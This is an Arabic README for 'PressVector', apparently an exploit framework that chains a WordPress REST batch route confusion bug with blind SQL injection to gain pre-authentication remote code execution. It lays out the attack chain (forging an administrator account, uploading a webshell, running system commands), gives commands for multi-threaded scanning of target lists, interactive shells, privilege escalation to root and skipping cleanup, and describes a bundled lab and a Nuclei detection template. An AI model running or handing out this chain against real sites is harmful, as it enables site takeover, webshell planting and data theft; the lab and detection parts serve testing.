
PressVector - ماسح ثغرات متقدم لووردبريس CVE-2026-63030 (التباس مسار REST الدفعي) / CVE-2026-60137 (حقن SQL) المطوّر: Vulnquest
⚡ إطار متقدم لاستغلال RCE قبل المصادقة وBlind SQLi في نواة WordPress
PressVector هو إطار استغلال شامل ومؤتمت بالكامل يستهدف CVE-2026-63030 وCVE-2026-60137 — وهما ثغرتان حرجتان في نواة WordPress تتيحان معًا تنفيذ تعليمات برمجية عن بُعد دون مصادقة.
يسلسل الإطار بين REST Batch Route Confusion وحقن SQL أعمى (blind SQL injection) لتزوير جلسات مسؤول، ونشر webshells، وتنفيذ أوامر نظام تشغيل عشوائية — كل ذلك دون أي بيانات اعتماد.
⚠️ لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط.
CVE-2026-63030 هي ثغرة RCE حرجة قبل المصادقة في نواة WordPress، اكتشفها Adam Kues (Assetnote / Searchlight Cyber). يستغل هذا الإطار ثغرتين مستقلتين متسلسلتين:
| CVE | الاستشارة | النوع | التأثير |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST Batch Route Confusion | RCE قبل المصادقة |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | حقن SQL عبر author__not_in | Blind SQLi قبل المصادقة |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| إصدار WordPress | CVEs المنطبقة | التأثير | الحالة |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 Blind SQLi (عالٍ) | ❌ عرضة للثغرة |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (حرج) | ❌ عرضة للثغرة |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (حرج) | ❌ عرضة للثغرة |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (عالٍ) | ❌ عرضة للثغرة |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ مُصحّح | ✅ آمن |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — إطار الاستغلال الرئيسيإطار استغلال متكامل الميزات مع 4 أوضاع تشغيل.
scan — ماسح ثغرات متعدد الأهدافماسح سريع متعدد الخيوط لاكتشاف تثبيتات WordPress المعرّضة للثغرات على نطاق واسع.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — تأكيد الحقن الأعمى SQLiتأكيد حقن SQL الأعمى القائم على الوقت على هدف واحد مع معايرة التوقيت.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — سلسلة استغلال RCE الكاملةالاستغلال الكامل: تزوير حساب المسؤول ← نشر webshell ← تنفيذ الأوامر.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — تصعيد الصلاحياتمحاولة تصعيد الصلاحيات محليًا بعد تحقيق RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — قالب كشف Nucleiقالب Nuclei جاهز للإنتاج للكشف السلبي على نطاق واسع.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
ميزات القالب:
يُضمَّن مختبر اختبار اختراق مؤتمت بالكامل ومُحاوَى لاختبار هذه الثغرات بأمان وعزلة.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(انتظر حوالي 60-90 ثانية في التشغيل الأول حتى يقوم مثبّت WP-CLI بإعداد جميع مواقع WordPress تلقائيًا).
| المنفذ | الخدمة | إصدار WordPress | الثغرة / الحالة |
|---|---|---|---|
| 8080 | الهدف 1 | 6.8.5 | CVE-2026-60137 (Blind SQLi فقط) 🔴 |
| 8081 | الهدف 2 | 6.9.4 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8082 | الهدف 3 | 7.0.1 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8083 | المرجع | الأحدث | مُصحَّح / مرجع آمن ✅ |
| 8084 | PHPMyAdmin | — | أداة إدارة قواعد البيانات |
| 8085 | لوحة تحكم المختبر | — | واجهة ويب تعرض حالة الأهداف والأوامر القابلة للنسخ 🖥️ |
بيانات اعتماد المسؤول: admin / admin123
كلمة مرور جذر MySQL: root
يمكنك التحقق من حالة المختبر بالكامل ومسارات الاستغلال باستخدام مجموعة الاختبار الآلي:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh أو .\stop-lab.ps1reset-lab.sh أو .\reset-lab.ps1للحصول على تعليمات أكثر تقدمًا واستكشاف الأخطاء وإصلاحها، راجع Lab README.